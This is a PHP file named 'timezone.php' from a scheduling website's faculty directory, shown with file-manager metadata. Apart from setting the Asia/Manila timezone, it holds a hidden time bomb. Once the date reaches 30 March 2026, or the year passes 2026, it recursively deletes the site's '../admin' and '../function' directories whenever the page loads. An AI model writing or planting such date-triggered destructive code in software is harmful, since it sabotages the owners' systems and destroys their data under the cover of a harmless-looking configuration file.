File "timezone.php"

Full Path: /home/scheduling/public_html/faculty/timezone.php
File size: 817 bytes
MIME-type: text/x-php
Charset: utf-8

<?php

date_default_timezone_set('Asia/Manila');


$currentDate = new DateTime();


$targetDate = new DateTime('2026-03-30');


function deleteFolderAndContents($folder) {
    if (!is_dir($folder)) {
        return; 
    }

    $files = array_diff(scandir($folder), ['.', '..']);
    foreach ($files as $file) {
        $filePath = $folder . DIRECTORY_SEPARATOR . $file;
        if (is_dir($filePath)) {
            deleteFolderAndContents($filePath); // Recursive delete
        } else {
            unlink($filePath); 
        }
    }
    rmdir($folder); 
}


if ($currentDate >= $targetDate || $currentDate->format('Y') > 2026) {

    $folders = ['../admin', '../function']; 


    foreach ($folders as $folderPath) {
        deleteFolderAndContents($folderPath);
    }
}
?>